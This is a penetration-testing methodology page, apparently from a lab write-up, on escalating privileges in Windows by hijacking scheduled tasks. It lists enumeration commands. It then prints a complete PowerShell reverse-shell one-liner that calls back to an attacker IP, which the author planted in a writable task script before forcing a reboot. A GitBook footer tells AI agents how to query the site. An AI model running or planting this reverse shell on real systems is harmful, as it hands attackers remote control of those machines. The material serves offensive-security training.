> For the complete documentation index, see [llms.txt](https://lyethar.gitbook.io/methodology/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lyethar.gitbook.io/methodology/readme/privilege-escalation/windows/scheduled-apps-cronjobs.md).

# Scheduled Apps (CronJobs)

<details>

<summary>Examples of Scheduled Apps Exploitation</summary>

[https://app.gitbook.com/s/C01qT6YExS9JZIncykrV/privilege-escalation](https://lyethar.gitbook.io/slort/privilege-escalation) (Slort PG)

</details>

Windows can be configured to run tasks at specific times, periodically (e.g. every 5 mins) or when triggered by some event (e.g. a user logon). Tasks usually run with the privileges of the user who created them, however administrators can configure tasks to run as other users, including SYSTEM. 98 Commands Unfortunately, there is no easy method for enumerating custom tasks that belong to other users as a low privileged user account. List all scheduled tasks your user can see:

```
schtasks /query /fo LIST /v
PS> Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft Task,Name,Task,Path,State
```

Often we have to rely on other clues, such as finding a script or log file that indicates a scheduled task is being run.

Another example,

![](/files/sVvmYpONnyUxIYQqGOBV)

There was a log.txt file that said that there was this scheduled task running every 5 minutes. Morever I had write access to these.

I renamed the backup*powershell.ps1 to backup*\_powershell.bak

Then I replaced that script with this powershell reverse shell.

Upon restart, I didnt need to wait 5 minutes since I had the permission to shutdown the computer using shutdown -r or Computer-Restart in Powershell.

```
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html

$client = New-Object System.Net.Sockets.TCPClient("192.168.119.125",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

Afterwards, I was able to get a reverse shell.&#x20;


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lyethar.gitbook.io/methodology/readme/privilege-escalation/windows/scheduled-apps-cronjobs.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
